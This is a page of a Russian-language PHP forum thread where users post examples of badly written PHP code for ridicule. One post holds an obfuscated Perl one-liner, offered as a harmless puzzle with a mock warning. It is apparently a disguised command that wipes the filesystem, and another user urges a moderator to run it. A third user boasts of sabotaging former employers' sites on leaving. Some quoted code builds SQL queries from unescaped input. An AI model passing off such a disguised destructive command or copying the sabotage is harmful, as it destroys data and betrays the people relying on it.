Модераторы: Aliance, skyboy, MoLeX, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Библиотека самых бесполезных кусков кода, или как не стоит писать на РНР 
:(
    Опции темы
smartov
Дата 6.12.2008, 12:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


свой собственный
****


Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 2
Всего: 259



Цитата(NLspieler @  6.12.2008,  09:34 Найти цитируемый пост)
Что значит массив соответствий замен?  

Код

//массив замен
$replacementRules = Array(
'+' => "<mo>_PLACEHOLDER_</mo>\n",
'-' => "<mo>_PLACEHOLDER_</mo>\n"....
);
//и так далее

//функция замены
function returnReplacement($item) {
    if (isset($replacementRules[$item])) {
        echo str_replace('_PLACEHOLDER_', $item, $replacementRules[$item]);
    }



//а потом
function mathml ($text)
{
    $array = explode (' ' , $text) ;
    array_walk($array, returnReplacement)
}


это навскидку так можно упростить
PM MAIL   Вверх
nerezus
  Дата 8.12.2008, 02:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Вселенский отказник
****


Профиль
Группа: Участник
Сообщений: 3330
Регистрация: 15.6.2005

Репутация: нет
Всего: 43



Код

$NETCAT_FOLDER = join( strstr(__FILE__, "/") ? "/" : "\\", array_slice( preg_split("/[\/\\\]+/", __FILE__), 0, -1 ) ).( strstr(__FILE__, "/") ? "/" : "\\" );

Хотя по сравнению с  битрегзом...

Это сообщение отредактировал(а) nerezus - 8.12.2008, 02:55


--------------------
Сообщество художников Artsociety.ru
PM MAIL WWW   Вверх
MoLeX
Дата 2.4.2009, 06:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: нет
Всего: 140



Пред история:
на работе приходиться поддерживать один крупный государственный проект, сделанный на заказ и за очень большие деньги (делал не я, а фирма-дурдом, по другому их не назовешь)

последние месяцы стали этот проект очень сильно развивать, каждый день закачивалось от 20 файлов и достигли мы такими темпами более 10 тыщ файлов (законопроекты, приказы и т.д.), и началось у меня веселье - чтобы закачать файл надо ждать минут 15 (к слову сервер у нас не хилый, когда файлов было менее 6 тыщ все работало на ура, а тут вот началось). в результате беглово осмотра нашел следующий код

Код

// 3. ВЫБОРКА ИНФОРМАЦИИ
$fileSelect = array();

if (is_dir($filefolder)) {
    if ($dh = @opendir($filefolder)) {
        while (($file = readdir($dh)) !== false) {
            if (filetype($filefolder . $file) == "file" and $file != "0.txt") {
                $sql  = 'SELECT * FROM bd_file WHERE file_file = ?';
                $stmt = db_prepare($sql, $file); $res  = db_query($stmt);
                if (!db_num_rows($res)) {
                    $fileSelect[$file] = $file;
                }
            }
        }
    }
    closedir($dh);
}
 

после убития этих строк проект опять залетал.

Люди не когда так не делайте


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
pompei
Дата 2.4.2009, 08:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 155
Регистрация: 7.9.2007

Репутация: нет
Всего: 6



Вот темная прога для shell-а:
Код

echo "password:" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Я официально и уполномоченно заявляю, эту программу нельзя использовать, и категорически запрещено её запускать, особенно под суперпользователем "root" - ЭТО БУДЕТ НАРУШЕНИЕ АВТОРСКИХ ПРАВ И БУДЕТ ОЧЕНЬ СТРОГО КАРАТЬСЯ ПРИТОМ НЕМЕДЛЕННО И НЕЗАМЕДЛИТЕЛЬНО

Это сообщение отредактировал(а) pompei - 2.4.2009, 08:03
--------------------
А всё оказывается гораздо проще: пассивные наноструктуры - активные наноструктуры - системы наносистем - молекулярные наносистемы - сингулярность! По пять лет на каждый этап.
PM MAIL   Вверх
MoLeX
Дата 2.4.2009, 08:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: нет
Всего: 140



Цитата(pompei @  2.4.2009,  08:01 Найти цитируемый пост)
официально и уполномоченно заявляю, эту программу нельзя использовать, и категорически запрещено её запускать, особенно под суперпользователем "root" - ЭТО БУДЕТ НАРУШЕНИЕ АВТОРСКИХ ПРАВ И БУДЕТ ОЧЕНЬ СТРОГО КАРАТЬСЯ ПРИТОМ НЕМЕДЛЕННО И НЕЗАМЕДЛИТЕЛЬНО

не понял

Добавлено через 7 минут и 5 секунд
это же перл?


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
nerezus
Дата 2.4.2009, 09:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Вселенский отказник
****


Профиль
Группа: Участник
Сообщений: 3330
Регистрация: 15.6.2005

Репутация: нет
Всего: 43



MoLeX, запусти )
Это тест на профессионализм админа: он автоматически узнает скилл админа и, если админ плохой, наказывает его.


--------------------
Сообщество художников Artsociety.ru
PM MAIL WWW   Вверх
MoLeX
Дата 2.4.2009, 10:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: нет
Всего: 140



nerezus, аха, запустил. и не чего

Добавлено через 12 секунд
 smile 


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
mogul82
Дата 16.5.2009, 23:07 (ссылка)    | (голосов:18) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 20.11.2008

Репутация: нет
Всего: -5



Я когда увольнялся из 2х фирм, запоганил все сайты. Стер функции для проверки ошибок, заменил функции на старые и т.д.
Вот там ща наверное мучуются.
 smile  smile  smile  smile  :
PM MAIL   Вверх
nerezus
Дата 16.5.2009, 23:20 (ссылка) |    (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Вселенский отказник
****


Профиль
Группа: Участник
Сообщений: 3330
Регистрация: 15.6.2005

Репутация: нет
Всего: 43



Т.е. ты работал в настолько гадюшнике, что даже не было CVS-системы у них?


--------------------
Сообщество художников Artsociety.ru
PM MAIL WWW   Вверх
mogul82
Дата 16.5.2009, 23:21 (ссылка) |  (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 20.11.2008

Репутация: нет
Всего: -5



nerezus
Каждый делал один проект с нуля в одиночку.
PM MAIL   Вверх
nerezus
Дата 18.6.2009, 02:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Вселенский отказник
****


Профиль
Группа: Участник
Сообщений: 3330
Регистрация: 15.6.2005

Репутация: нет
Всего: 43



Покажешь код?)


--------------------
Сообщество художников Artsociety.ru
PM MAIL WWW   Вверх
TUMS
Дата 7.8.2009, 08:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 61
Регистрация: 16.3.2008

Репутация: нет
Всего: 3



Код

// I don't know how to write it right, so I do it my newbie way. Code " if($sql['user_ip'] == $ip) " must be modified, but...
function check_user($id,$ip) 
{
    $sql = mysql_query("SELECT `user_ip` FROM `rating` WHERE `quote_id` = '$id' AND `user_ip` = '$ip'");
    $sql = mysql_fetch_assoc($sql);
    if($sql['user_ip'] == $ip) {
        return true;
    }
    else {
        return false;
    }
}

$ip = mysql_real_escape_string($_SERVER['REMOTE_ADDR']);

if(isset($_GET['id']) && (int)$_GET['id'] > 0 ) {
    $id = (int)$_GET['id'];
    if(isset($_GET['score'])) {
        switch($_GET['score']) {
        case "up":
            if(check_user($id,$ip) == false) {
                $sql = mysql_query("UPDATE `quotes` SET `score` = score + 1 WHERE `id` = '$id'");
                $sql = mysql_query("INSERT INTO `rating` (user_ip, quote_id) VALUES ('$ip','$id')");
            }
        break;
        case "down":
            if(check_user($id,$ip) == false) {
                $sql = mysql_query("UPDATE `quotes` SET `score` = score - 1 WHERE `id` = '$id'");
                $sql = mysql_query("INSERT INTO `rating` (user_ip, quote_id) VALUES ('$ip','$id')");
            }
        break;
    }
}


как-то так =)
PM MAIL WWW ICQ Skype GTalk Jabber MSN   Вверх
WiseFire
Дата 22.9.2009, 11:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 2
Регистрация: 22.9.2009

Репутация: нет
Всего: нет



Цитата(Vaulter @ 23.8.2006,  13:13)
ну что ж..вверили мне систему сайтов. и не смешно мне было отнюдь smile
для начала:
Код

function mailsender($a, $b, $c, $d)
{
$head      = "Content-type: text/html; charset=windows-1251\n";
$head     .= "From: ************\n";
$head     .= "Reply-To: ***********\n";
    
if ($a == "1") 
{
$query333 = "select * from dec_mess where typemess='1'";
$result333 = mysql_query($query333);
$arw333 = mysql_fetch_array($result333);
if ($d != "0") { $ddd = 500+$d; $subj = "Номер заказа: $ddd\r\n"; $mess = "Номер заказа: $ddd\r\n"; }
else { $subj = ""; $mess = ""; }
$subj .= $arw333['subj']; 
$mess .= $arw333['mess']; 
}
elseif ($a == "2") 

$query333 = "select * from dec_mess where typemess='2'";
$result333 = mysql_query($query333);
$arw333 = mysql_fetch_array($result333);
if ($d != "0") { $ddd = 500+$d; $subj = "Номер заказа: $ddd\r\n"; $mess = "Номер заказа: $ddd\r\n"; }
else { $subj = ""; $mess = ""; }
$subj .= $arw333['subj']; 
$mess .= $arw333['mess'];
}
elseif ($a == "3") 

$query333 = "select * from dec_mess where typemess='3'";
$result333 = mysql_query($query333);
$arw333 = mysql_fetch_array($result333);
if ($d != "0") { $ddd = 500+$d; $subj = "Номер заказа: $ddd\r\n"; $mess = "Номер заказа: $ddd\r\n"; }
else { $subj = ""; $mess = ""; }
$subj .= $arw333['subj']; 
$mess .= $arw333['mess'];
}
elseif ($a == "4") 
{
$query333 = "select * from dec_mess where typemess='4'";
$result333 = mysql_query($query333);
$arw333 = mysql_fetch_array($result333);
if ($d != "0") { $ddd = 500+$d; $subj = "Номер заказа: $ddd\r\n"; $mess = "Номер заказа: $ddd\r\n"; }
else { $subj = ""; $mess = ""; }
$subj .= $arw333['subj']; 
$mess .= $arw333['mess']; 
}


  if ($c == "0")
  {
$query = "select email from dec_users where type_user='$b'";
$result = mysql_query($query);
  while ($arw = mysql_fetch_array($result))
  {
  $to = "$arw[email]";
  mail($to, $subj, $mess, $head);
  }
  }
  else
  {
  $query = "select id_kto_vip from dec_orders where id='$c'";
  $result = mysql_query($query);
  $arw = mysql_fetch_array($result);
  $query = "select email from dec_users where id='$arw[id_kto_vip]'";
  $result = mysql_query($query);
  $arw = mysql_fetch_array($result);
  $to = $arw['email'];
  mail($to, $subj, $mess, $head);
  }
  
}

прониклись? человеку деньги за это платились..... скотина...

 smile  smile  smile  smile  smile  smile  smile  smile 

МЕНЯ РВЕТ =)))))
 smile  smile  smile  smile  smile  smile  smile  smile 


P.S. Извините, не сдержался...
PM MAIL   Вверх
smartov
Дата 22.9.2009, 13:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


свой собственный
****


Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 2
Всего: 259



За что только не плОтют smile
PM MAIL   Вверх
nerezus
Дата 25.9.2009, 23:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Вселенский отказник
****


Профиль
Группа: Участник
Сообщений: 3330
Регистрация: 15.6.2005

Репутация: нет
Всего: 43



Отсюда: http://forum.vingrad.ru/forum/topic-274389.html

Код

$ishod=explode ("-", $stroka);
    $size_kupon=sizeof ($ishod);

    for ($i=0; $i<$size_kupon; $i++) {
        $size_ishod [$i]=strlen ($ishod[$i]);
    }

    for ($z0=0; $z0<$size_ishod [0]; $z0++) {
        $ish[0] = substr($ishod[0], $z0, 1);
        for ($z1=0; $z1<$size_ishod [1]; $z1++) {
            $ish[1] = substr($ishod[1], $z1, 1);
            for ($z2=0; $z2<$size_ishod [2]; $z2++) {
                $ish[2] = substr($ishod[2], $z2, 1);
                for ($z3=0; $z3<$size_ishod [3]; $z3++) {
                    $ish[3] = substr($ishod[3], $z3, 1);
                    for ($z4=0; $z4<$size_ishod [4]; $z4++) {
                        $ish[4] = substr($ishod[4], $z4, 1);
                        for ($z5=0; $z5<$size_ishod [5]; $z5++) {
                            $ish[5] = substr($ishod[5], $z5, 1);
                            for ($z6=0; $z6<$size_ishod [6]; $z6++) {
                                $ish[6] = substr($ishod[6], $z6, 1);
                                for ($z7=0; $z7<$size_ishod [7]; $z7++) {
                                    $ish[7] = substr($ishod[7], $z7, 1);
                                    for ($z8=0; $z8<$size_ishod [8]; $z8++) {
                                        $ish[8] = substr($ishod[8], $z8, 1);
                                        for ($z9=0; $z9<$size_ishod [9]; $z9++) {
                                            $ish[9] = substr($ishod[9], $z9, 1);
                                            for ($z10=0; $z10<$size_ishod [10]; $z10++) {
                                                $ish[10] = substr($ishod[10], $z10, 1);
                                                for ($z11=0; $z11<$size_ishod [11]; $z11++) {
                                                    $ish[11] = substr($ishod[11], $z11, 1);
                                                    for ($z12=0; $z12<$size_ishod [12]; $z12++) {
                                                        $ish[12] = substr($ishod[12], $z12, 1);
                                                        for ($z13=0; $z13<$size_ishod [13]; $z13++) {
                                                            $ish[13] = substr($ishod[13], $z13, 1);
                                                            for ($z14=0; $z14<$size_ishod [14]; $z14++) {
                                                                $ish[14] = substr($ishod[14], $z14, 1);

                                                                                                                    
                                                                $new_stroka="";
                                                                for ($i=0; $i<15; $i++) {
                                                                    $new_stroka.=$ish[$i];
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }



--------------------
Сообщество художников Artsociety.ru
PM MAIL WWW   Вверх
Страницы: (12) Все « Первая ... 8 9 [10] 11 12 
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Избранное | Следующая тема »


 




[ Время генерации скрипта: 0.1830 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.